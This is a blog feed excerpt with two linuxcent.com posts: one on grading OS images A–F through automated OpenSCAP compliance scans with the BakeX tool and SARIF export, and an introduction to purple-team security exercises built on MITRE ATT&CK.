  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>OS Hardening as Code, Episode 4</em><br />
<em><a href="https://linuxcent.com/cloud-ami-security-risks-custom-os-images/">Cloud AMI Security Risks</a> · <a href="/linux-hardening-as-code/">Linux Hardening as Code</a> · <a href="/linux-hardening-multi-cloud/">Multi-Cloud OS Hardening</a> · </em><em>Automated OpenSCAP Compliance</em>**</p>
<blockquote>
<p><strong>Note:</strong> the tool in this series was released as <strong>Stratum</strong> and renamed to <strong>BakeX</strong> at<br />
v0.6.0 — same project, same license, same team. Commands below use the current <code class="" data-line="">bakex</code><br />
CLI. If you arrived here looking for <code class="" data-line="">stratum</code> or <code class="" data-line="">pip install stratumoss</code>, you&#8217;re in the<br />
right place: <a href="https://github.com/invicton/bakex">github.com/invicton/bakex</a>.</p>
</blockquote>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>&#8220;We use CIS L1&#8221; means nothing without a verified grade — automated OpenSCAP compliance provides one before any instance is deployed</li>
<li>BakeX runs OpenSCAP as a stage of every build, and the scan result carries a letter grade A–F</li>
<li>The grade is OpenSCAP&#8217;s own XCCDF score mapped to a letter: A ≥ 90, B ≥ 75, C ≥ 60, D ≥ 40, F below that</li>
<li>SARIF output is machine-readable — importable directly into GitHub Advanced Security, Jira, or any SIEM</li>
<li>Scanning and baseline comparison live in the web UI and HTTP API, not the CLI — the CLI is <code class="" data-line="">validate</code> and <code class="" data-line="">build</code></li>
<li>A build whose scan fails the blueprint&#8217;s threshold ends in <code class="" data-line="">Status: failed</code> with exit code 1, and no image is snapshotted</li>
</ul>
<hr />
<h2 id="the-problem-a-grade-thats-never-been-verified-is-not-a-grade">The Problem: A Grade That&#8217;s Never Been Verified Is Not a Grade</h2>
<pre><code class="" data-line="">Security audit request:
&quot;Provide CIS L1 compliance evidence for all production instances&quot;

Team response:
  Instance A: &quot;CIS L1 hardened&quot; — OpenSCAP last run: 4 months ago
  Instance B: &quot;CIS L1 hardened&quot; — OpenSCAP last run: never
  Instance C: &quot;CIS L1 hardened&quot; — OpenSCAP version: 1.2 (current: 1.3.8)
  Instance D: &quot;CIS L1 hardened&quot; — manual scan output: &quot;87% passing&quot;
  Instance E: &quot;CIS L1 hardened&quot; — manual scan output: &quot;91% passing&quot;

&quot;Which profile was used for D and E? Are they comparable?&quot;
&quot;Were they scanned before or after a recent kernel update?&quot;
&quot;Why is C running an old OpenSCAP version?&quot;
</code></pre>
<p>Automated OpenSCAP compliance means the grade is generated the same way, on every image, every time, before the image is ever deployed.</p>
<p>EP03 showed that the same HardeningBlueprint YAML builds consistent OS images across six cloud providers. What it left open is the question every auditor eventually asks: how do you know the Ansible hardening actually did what you think it did? Running Ansible-Lockdown successfully means the tasks ran. It does not mean every CIS control is satisfied — some controls can&#8217;t be applied by Ansible alone, some require manual verification, and some interact with the environment in unexpected ways.</p>
<hr />
<p>A compliance team requested CIS L2 evidence for a SOC 2 Type II audit. The security team had been running OpenSCAP scans — but manually, on-demand, using slightly different profiles across teams, with no standard for how to store or compare results.</p>
<p>The audit found four problems:<br />
1. Two instances had been scanned with CIS L1, not L2, despite being labeled &#8220;CIS L2&#8221;<br />
2. Three instances hadn&#8217;t been scanned in over six months<br />
3. The scan outputs from different teams were in different formats (HTML vs XML vs text)<br />
4. Two instances showed &#8220;91% passing&#8221; and &#8220;89% passing&#8221; — with no documentation of whether those were acceptable thresholds or what the failing controls were</p>
<p>The audit took two weeks to resolve. The finding wasn&#8217;t a security failure — it was a documentation and process failure. But it consumed two weeks of engineering time and appeared in the audit report as a gap.</p>
<p>The root cause: compliance scanning was a manual step that produced inconsistent output in an inconsistent format.</p>
<hr />
<h2 id="how-automated-openscap-compliance-works">How Automated OpenSCAP Compliance Works</h2>
<p>Scanning is a stage of the build, not an afterthought you remember to run:</p>
<pre><code class="" data-line="">bakex build blueprints/ubuntu/22.04/cis-l1-aws.yaml
      │
      ├─ Provisioning via aws
      │
      ├─ Applying pre-hardening system configuration
      │    (hostname, filesystem, users)
      │
      ├─ Applying Ansible-Lockdown hardening roles
      │
      ├─ Running OpenSCAP compliance scan
      │    ├── benchmark:  xccdf_org.ssgproject.content_benchmark_UBUNTU2204
      │    ├── profile:    ...content_profile_cis_level1_server
      │    └── datastream: ssg-ubuntu2204-ds.xml
      │
      ├─ Snapshotting golden image
      │
      └─ Image ready: ami-0a7f3c9e82d1b4c05
</code></pre>
<p>All three compliance identifiers come from the blueprint&#8217;s <code class="" data-line="">compliance</code> block, and they are full<br />
XCCDF strings rather than friendly names like <code class="" data-line="">cis-l1</code> — they&#8217;re handed to <code class="" data-line="">oscap</code> unmodified, so<br />
there is no name-mapping layer that can silently pick the wrong profile. That single detail<br />
answers the audit question &#8220;which profile was actually used?&#8221; without anyone having to remember.</p>
<p>Ubuntu is a special case worth knowing: it ships no SCAP content package in the archive, so BakeX<br />
downloads the matching datastream from a ComplianceAsCode release and checksum-verifies it rather<br />
than failing or silently scanning nothing.</p>
<hr />
<h2 id="the-a-f-grade-calculation">The A-F Grade Calculation</h2>
<p>The grade is deliberately boring, and that is the point. BakeX does not invent a scoring model —<br />
it takes OpenSCAP&#8217;s own XCCDF score and maps it to a letter:</p>
<pre><code class="" data-line="">def score_to_grade(score: float) -&gt; str:
    if score &gt;= 90: return &quot;A&quot;
    if score &gt;= 75: return &quot;B&quot;
    if score &gt;= 60: return &quot;C&quot;
    if score &gt;= 40: return &quot;D&quot;
    return &quot;F&quot;
</code></pre>
<table>
<thead>
<tr>
<th>Grade</th>
<th>Score</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>A</td>
<td>≥ 90</td>
<td>Production-ready, minimal exceptions</td>
</tr>
<tr>
<td>B</td>
<td>≥ 75</td>
<td>Acceptable with documented exceptions</td>
</tr>
<tr>
<td>C</td>
<td>≥ 60</td>
<td>Below standard — deploy with caution</td>
</tr>
<tr>
<td>D</td>
<td>≥ 40</td>
<td>Significant gaps — do not deploy to production</td>
</tr>
<tr>
<td>F</td>
<td>&lt; 40</td>
<td>Hardening failed</td>
</tr>
</tbody>
</table>
<p>The thresholds are fixed, not per-blueprint tunables. That is a defensible choice: a grade you can<br />
adjust in the file being graded is not evidence, it&#8217;s decoration. If an A means ≥ 90 everywhere,<br />
two teams&#8217; grades are comparable without reading their blueprints — which was exactly the failure<br />
in the audit story above.</p>
<p>What <em>is</em> configurable is when the build refuses to continue:</p>
<pre><code class="" data-line="">compliance:
  benchmark: xccdf_org.ssgproject.content_benchmark_UBUNTU2204
  profile: xccdf_org.ssgproject.content_profile_cis_level1_server
  datastream: /usr/share/xml/scap/ssg/content/ssg-ubuntu2204-ds.xml
  fail_on_findings: true      # findings at/above the threshold fail the build
  severity_threshold: medium  # critical | high | medium | low
</code></pre>
<p><code class="" data-line="">fail_on_findings</code> with a <code class="" data-line="">severity_threshold</code> is severity-based rather than score-based, which<br />
tends to match how people actually reason about risk: one critical finding should block a release<br />
even when 94% of rules pass. When it trips, the build ends in <code class="" data-line="">Status: failed</code>, exit code 1, and<br />
no image is snapshotted.</p>
<hr />
<h2 id="where-the-scan-surface-actually-lives">Where the Scan Surface Actually Lives</h2>
<p>Worth being blunt about this, because it is the most common wrong assumption: <strong>there is no<br />
<code class="" data-line="">bakex scan</code> command.</strong> The CLI is two verbs — <code class="" data-line="">validate</code> and <code class="" data-line="">build</code>. Scanning, history, and<br />
baseline comparison live in the web app and its HTTP API, because scan results need somewhere to<br />
persist and something to render them.</p>
<p>Start the server and the whole surface is there:</p>
<pre><code class="" data-line="">bakex serve --port 8000
</code></pre>
<p>The auditor API is mounted at <code class="" data-line="">/api/auditor</code>:</p>
<table>
<thead>
<tr>
<th>Endpoint</th>
<th>What it does</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">POST /api/auditor/scan-image</code></td>
<td>Scan an image and return a job</td>
</tr>
<tr>
<td><code class="" data-line="">POST /api/auditor/scan-container</code></td>
<td>Same, for a container image</td>
</tr>
<tr>
<td><code class="" data-line="">GET  /api/auditor/jobs</code></td>
<td>List scan jobs</td>
</tr>
<tr>
<td><code class="" data-line="">GET  /api/auditor/jobs/{job_id}</code></td>
<td>One job, with grade and severity counts</td>
</tr>
<tr>
<td><code class="" data-line="">GET  /api/auditor/jobs/{job_id}/compare/{baseline_id}</code></td>
<td>Diff a scan against a baseline</td>
</tr>
<tr>
<td><code class="" data-line="">GET  /api/auditor/scan-image/{job_id}/report?fmt=…</code></td>
<td>Export the report</td>
</tr>
<tr>
<td><code class="" data-line="">GET  /api/auditor/scan-image/{job_id}/badge.svg</code></td>
<td>Grade badge for a README</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="sarif-export">SARIF Export</h2>
<p>The report endpoint speaks three formats, selected by query parameter:</p>
<pre><code class="" data-line=""># Human-readable — printable HTML, print-to-PDF from the browser
curl &quot;http://localhost:8000/api/auditor/scan-image/$JOB/report?fmt=html&quot;

# Machine-readable job dict
curl &quot;http://localhost:8000/api/auditor/scan-image/$JOB/report?fmt=json&quot;

# SARIF 2.1.0 — the one that matters for CI
curl -o scan.sarif.json \
  &quot;http://localhost:8000/api/auditor/scan-image/$JOB/report?fmt=sarif&quot;
</code></pre>
<p>SARIF 2.1.0 is the standard interchange format for security scan results, which means the OpenSCAP<br />
findings land wherever your other scanners&#8217; findings already land:</p>
<ul>
<li><strong>GitHub Advanced Security</strong> — upload with <code class="" data-line="">github/codeql-action/upload-sarif</code>; findings appear in the Security tab, annotated on the PR</li>
<li><strong>Azure DevOps</strong> — native SARIF viewer</li>
<li><strong>Splunk / SIEM</strong> — structured JSON, parseable as events</li>
<li><strong>AWS Security Hub</strong> — importable as findings via the Security Hub API</li>
</ul>
<p>For audit purposes the SARIF file <em>is</em> the evidence artifact: it carries every rule result, the<br />
profile that was used, and the timestamp. &#8220;91% passing&#8221; in a spreadsheet is a claim. A SARIF file<br />
in the Security tab is a record.</p>
<p>The badge endpoint is the small touch that gets used most — <code class="" data-line="">badge.svg</code> renders the letter grade,<br />
so a repo&#8217;s README can show the compliance grade of the image it builds, next to the CI badge.</p>
<hr />
<h2 id="drift-comparing-against-a-baseline">Drift: Comparing Against a Baseline</h2>
<p>The comparison endpoint takes two job IDs — a current scan and a stored baseline — and reports the<br />
delta, including the change in score:</p>
<pre><code class="" data-line="">curl &quot;http://localhost:8000/api/auditor/jobs/$CURRENT/compare/$BASELINE&quot;
</code></pre>
<p>That is the mechanism behind &#8220;what changed since we built this.&#8221; You scan the image at build time,<br />
keep that job as the baseline, and re-scan later; the comparison tells you which rules moved and<br />
which direction the score went. It is how you find the instance somebody modified &#8220;temporarily&#8221;<br />
and never reverted.</p>
<p>The honest limitation: this compares <em>scan jobs</em>, so drift detection is as good as your discipline<br />
about scanning on a schedule. Nothing re-scans your fleet for you.</p>
<hr />
<h2 id="what-controls-typically-block-an-a-grade">What Controls Typically Block an A Grade</h2>
<p>For Ubuntu 22.04 CIS L1 builds in most cloud environments, these are the controls that most commonly prevent an A grade:</p>
<table>
<thead>
<tr>
<th>Control</th>
<th>Why it often fails</th>
<th>Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.1.7 <code class="" data-line="">/var/log/audit</code> separate partition</td>
<td>Cloud images don&#8217;t have separate volumes at build time</td>
<td>Add EBS volume, configure at launch</td>
</tr>
<tr>
<td>1.6.1 AppArmor bootloader config</td>
<td>GRUB parameters not set correctly</td>
<td>Update <code class="" data-line="">/etc/default/grub</code>, run <code class="" data-line="">update-grub</code></td>
</tr>
<tr>
<td>3.1.1 Disable IPv6</td>
<td>Cloud networking sometimes requires IPv6</td>
<td>Override with documented reason if intentional</td>
</tr>
<tr>
<td>5.2.21 SSH MaxStartups</td>
<td>Default sshd_config not updated</td>
<td>Add <code class="" data-line="">MaxStartups 10:30:60</code> to sshd_config</td>
</tr>
<tr>
<td>6.1.10 World-writable files</td>
<td>Some package installations leave world-writable files</td>
<td>Post-install cleanup in Ansible role</td>
</tr>
</tbody>
</table>
<p>The first two (separate audit partition, AppArmor bootloader) are the most common A→B blockers and often require architecture decisions about how volumes are provisioned at launch versus build time.</p>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Automated OpenSCAP compliance means every image has a verified, reproducible grade generated by the same scanner with the same profile, before it&#8217;s ever deployed</li>
<li>The grade is OpenSCAP&#8217;s own XCCDF score mapped to a fixed scale (A ≥ 90, B ≥ 75, C ≥ 60, D ≥ 40) — fixed on purpose, so grades from two teams are comparable without reading their blueprints</li>
<li>The build gate is severity-based, not score-based: <code class="" data-line="">fail_on_findings</code> plus <code class="" data-line="">severity_threshold</code> blocks a release on one critical finding even when most rules pass</li>
<li>SARIF 2.1.0 export makes scan results importable into GitHub Advanced Security, Azure DevOps, SIEM, and audit tooling — the SARIF file is the evidence artifact</li>
<li>Scanning and baseline comparison are HTTP API surfaces, not CLI commands; the CLI is <code class="" data-line="">validate</code> and <code class="" data-line="">build</code></li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>Automated OpenSCAP compliance gives every image a verified grade before deployment. What EP04 left open is what happens after the grade is known — specifically, what prevents an engineer from deploying a C-grade image to production &#8220;just this once.&#8221;</p>
<p>The Pipeline API is the answer. EP05 covers the CI/CD compliance gate: <code class="" data-line="">POST /api/pipeline/scan</code> fails the build if the image grade is below threshold. The unhardened image never reaches production — not because engineers are disciplined, but because the pipeline won&#8217;t let it through.</p>
<p><em>Next: <a href="/hardened-image-cicd-pipeline-gate/">CI/CD compliance gate — block unhardened images before they reach production</a></em></p>
<p>Get EP05 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fautomated-compliance-scanning-openscap%2F&amp;linkname=Compliance%20Grading%20%E2%80%94%20Automated%20OpenSCAP%20with%20A-F%20Scores%20Before%20Deployment" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fautomated-compliance-scanning-openscap%2F&amp;linkname=Compliance%20Grading%20%E2%80%94%20Automated%20OpenSCAP%20with%20A-F%20Scores%20Before%20Deployment" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fautomated-compliance-scanning-openscap%2F&amp;linkname=Compliance%20Grading%20%E2%80%94%20Automated%20OpenSCAP%20with%20A-F%20Scores%20Before%20Deployment" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fautomated-compliance-scanning-openscap%2F&amp;linkname=Compliance%20Grading%20%E2%80%94%20Automated%20OpenSCAP%20with%20A-F%20Scores%20Before%20Deployment" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fautomated-compliance-scanning-openscap%2F&amp;linkname=Compliance%20Grading%20%E2%80%94%20Automated%20OpenSCAP%20with%20A-F%20Scores%20Before%20Deployment" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fautomated-compliance-scanning-openscap%2F&amp;linkname=Compliance%20Grading%20%E2%80%94%20Automated%20OpenSCAP%20with%20A-F%20Scores%20Before%20Deployment" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fautomated-compliance-scanning-openscap%2F&amp;linkname=Compliance%20Grading%20%E2%80%94%20Automated%20OpenSCAP%20with%20A-F%20Scores%20Before%20Deployment" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fautomated-compliance-scanning-openscap%2F&#038;title=Compliance%20Grading%20%E2%80%94%20Automated%20OpenSCAP%20with%20A-F%20Scores%20Before%20Deployment" data-a2a-url="https://linuxcent.com/automated-compliance-scanning-openscap/" data-a2a-title="Compliance Grading — Automated OpenSCAP with A-F Scores Before Deployment"></a></p><p>The post <a href="https://linuxcent.com/automated-compliance-scanning-openscap/">Compliance Grading — Automated OpenSCAP with A-F Scores Before Deployment</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/automated-compliance-scanning-openscap/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1828</post-id>	</item>
		<item>
		<title>What Is Purple Team Security: Red + Blue = Better Defense</title>
		<link>https://linuxcent.com/what-is-purple-team-security/</link>
					<comments>https://linuxcent.com/what-is-purple-team-security/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 11 May 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[Blue Team]]></category>
		<category><![CDATA[Detection Engineering]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[Red Team]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1843</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span>What is purple team security — and why red vs blue alone fails. How the red-blue-purple model cuts detection time from 11 days to 4 hours in practice.</p>
<p>The post <a href="https://linuxcent.com/what-is-purple-team-security/">What Is Purple Team Security: Red + Blue = Better Defense</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><strong>What Is Purple Team Security</strong> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Purple team security</strong> is the practice of combining offensive (red) and defensive (blue) work in the same exercise — attackers simulate real techniques while defenders tune detection in real time</li>
<li>Traditional red team engagements produce a report; purple team produces a faster MTTD (mean time to detect)</li>
<li>The structural output is not a findings list — it&#8217;s updated detection rules, tested playbooks, and a measured detection baseline</li>
<li>Purple team is not a permanent headcount; it is a cadence of exercises run against your own infrastructure</li>
<li>Every episode in this series follows the red-blue-purple model: attack simulation → detection → structural fix</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> This episode establishes the series methodology. No single OWASP category. Subsequent episodes map directly to A01 through A10.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────┐
│                    PURPLE TEAM MODEL                            │
│                                                                 │
│   RED TEAM                    BLUE TEAM                         │
│   (Offensive)                 (Defensive)                       │
│                                                                 │
│   ┌──────────┐               ┌──────────┐                       │
│   │ Simulate │──── attack ──&#x25b6;│  Detect  │                       │
│   │ attack   │               │  alert   │                       │
│   └──────────┘               └──────────┘                       │
│         │                          │                            │
│         └──────────┬───────────────┘                            │
│                    │                                            │
│              ┌─────▼──────┐                                     │
│              │  DEBRIEF   │  ← The purple layer                 │
│              │ What fired?│                                      │
│              │ What didn&#039;t│                                      │
│              │ Why?       │                                      │
│              └─────┬──────┘                                     │
│                    │                                            │
│         ┌──────────▼──────────┐                                 │
│         │  Updated detection  │                                 │
│         │  rules + playbooks  │                                 │
│         └─────────────────────┘                                 │
│                                                                 │
│   OUTCOME: Detection time drops exercise-over-exercise          │
└─────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>What is purple team security?</strong> It is the structured practice of attacking your own infrastructure — with full visibility on both sides — so that detection logic improves after every exercise, not just after a real breach.</p>
<hr />
<h2 id="why-red-vs-blue-alone-fails">Why Red vs. Blue Alone Fails</h2>
<p>Eleven days.</p>
<p>That was how long an attacker had access before my blue team detected the compromise in a red team engagement I ran two years ago. It was a standard authorized engagement — well-scoped, realistic techniques, no shortcuts. The red team was good. The blue team was experienced. And still: eleven days.</p>
<p>The debrief was the turning point. The red team had used techniques that generated logs — CloudTrail entries, VPC Flow Log anomalies, process spawn events. The blue team had the data. The detections just weren&#8217;t tuned for these specific patterns. Nobody had ever run the techniques against this specific environment and verified whether the alerts fired.</p>
<p>We restructured the next exercise as a purple team exercise. Same attacker techniques. But this time, the blue team was in the room with the red team. They watched each technique execute in real time. They checked whether the alert fired. When it didn&#8217;t, they wrote the detection rule on the spot and verified it before moving to the next technique.</p>
<p>Detection time in the following exercise: four hours.</p>
<p>That is the entire argument for purple team security. Not philosophy. Not org charts. Eleven days versus four hours.</p>
<hr />
<h2 id="what-red-team-alone-gets-wrong">What Red Team Alone Gets Wrong</h2>
<p>Traditional red team engagements produce a report with findings. The findings describe what the attacker did. The recommendations describe what to fix. Then the report goes to a remediation queue, the org closes the tickets over three months, and the detection logic is never tested.</p>
<p>The fundamental problem: <strong>a red team report tells you what happened; it doesn&#8217;t tell you whether your detection would catch it happening again</strong>.</p>
<p>The MITRE ATT&amp;CK framework lists over 400 techniques. An annual red team engagement tests maybe 20 of them against your environment. You get a PDF. You don&#8217;t get a detection baseline.</p>
<p>Red team alone also creates adversarial dynamics inside the organization. Red team wins when they&#8217;re not caught. Blue team wins when they catch everything. These goals are structurally opposed, which means neither team has an incentive to share information that would help the other.</p>
<hr />
<h2 id="what-blue-team-alone-gets-wrong">What Blue Team Alone Gets Wrong</h2>
<p>Blue team without red team input is writing detection rules in the abstract. They tune alerts based on what they think an attacker would do, not what an attacker actually does against your specific environment with your specific tooling.</p>
<p>Signature-based detection catches known-bad. Behavioral detection catches anomalies. Neither catches a sophisticated attacker who has studied your baseline — unless you&#8217;ve explicitly tested whether the behavior that attacker uses registers as an anomaly in your environment.</p>
<p>Blue teams also tend toward alert fatigue. When everything fires, nothing gets investigated. Tuning requires knowing which signals correspond to real techniques, and that knowledge only comes from running the techniques.</p>
<hr />
<h2 id="the-purple-team-model-how-it-actually-works">The Purple Team Model: How It Actually Works</h2>
<p>Purple team security is not a permanent team structure. You don&#8217;t hire a purple team. You run purple team exercises.</p>
<p>The exercise structure:</p>
<pre><code class="" data-line="">1. SCOPE          — agree on the attack scenario (e.g., &quot;compromised developer credentials&quot;)
2. RED EXECUTES   — red team runs the first technique in the scenario
3. BLUE OBSERVES  — blue team watches for the alert; records: fired / not fired / noisy
4. DEBRIEF        — immediate, technique by technique. Why didn&#039;t it fire? What data existed?
5. TUNE           — blue team updates detection rule. Red team re-runs. Verify it fires.
6. NEXT TECHNIQUE — repeat for every technique in the scenario
7. MEASURE        — record detection rate and detection time at the end of the exercise
</code></pre>
<p>The output of a purple team exercise is not a PDF. It is:<br />
&#8211; Updated detection rules (tested and verified)<br />
&#8211; A measured detection time for each technique<br />
&#8211; A documented attack scenario with the specific commands used<br />
&#8211; A baseline for the next exercise to beat</p>
<p>This is what &#8220;purple&#8221; means: the red and blue work together, in the same room or on the same call, producing improved defense as a direct output of the attack simulation.</p>
<hr />
<h2 id="the-mitre-attck-scaffolding">The MITRE ATT&amp;CK Scaffolding</h2>
<p>Every purple team exercise is anchored to ATT&amp;CK techniques. ATT&amp;CK provides the shared vocabulary: red team uses technique T1078 (Valid Accounts), blue team knows which data sources detect T1078, and the exercise verifies whether those detections are actually implemented and tuned.</p>
<pre><code class="" data-line="">MITRE ATT&amp;CK Technique
         │
         ├── Tactic: Initial Access / Persistence / Lateral Movement / ...
         ├── Data Sources: CloudTrail, Process events, Network traffic, ...
         ├── Detection: What behavioral indicator to look for
         └── Mitigations: What configuration change prevents or limits it
</code></pre>
<p>When you scope a purple team exercise using ATT&amp;CK, you get explicit coverage tracking. After six exercises, you can report: &#8220;We have verified detections for 47 of the 112 techniques most relevant to our threat model. These 65 are not yet covered.&#8221;</p>
<p>That is a measurable security posture improvement. It is auditable. It is repeatable.</p>
<hr />
<h2 id="where-owasp-fits-in-this-series">Where OWASP Fits in This Series</h2>
<p>This series uses OWASP Top 10 (2021) as the threat taxonomy, not ATT&amp;CK. The reason: OWASP Top 10 maps directly to the classes of vulnerability that caused the major breaches between 2020 and 2025 — and it is familiar to the developers and architects who need to remediate them.</p>
<p>The next episode maps every OWASP Top 10 category to its cloud and Kubernetes infrastructure equivalent. Most engineers think OWASP applies only to web applications. It doesn&#8217;t. Broken Access Control (A01) is the S3 bucket that&#8217;s public when it shouldn&#8217;t be. Cryptographic Failures (A02) is the environment variable with a plaintext database password committed to GitHub. Injection (A03) is the SSRF that hits the EC2 metadata endpoint.</p>
<p>The framing shifts. The categories don&#8217;t.</p>
<hr />
<h2 id="red-phase-primer-how-attack-simulations-work-in-this-series">Red Phase Primer: How Attack Simulations Work in This Series</h2>
<p>Every episode from EP04 onward follows this structure:</p>
<p><strong>Red phase</strong> — the technique the attacker uses, with the actual commands. Not &#8220;the attacker exploited misconfigured IAM.&#8221; The actual <code class="" data-line="">aws</code> CLI command or <code class="" data-line="">kubectl</code> invocation that demonstrates the technique. Commands are safe for authorized use in your own environment or a test account.</p>
<p><strong>Blue phase</strong> — what detection looks like. The CloudTrail event, the GuardDuty finding, the Falco rule, the SIEM query. If it doesn&#8217;t fire by default, the episode says so explicitly — and shows you how to make it fire.</p>
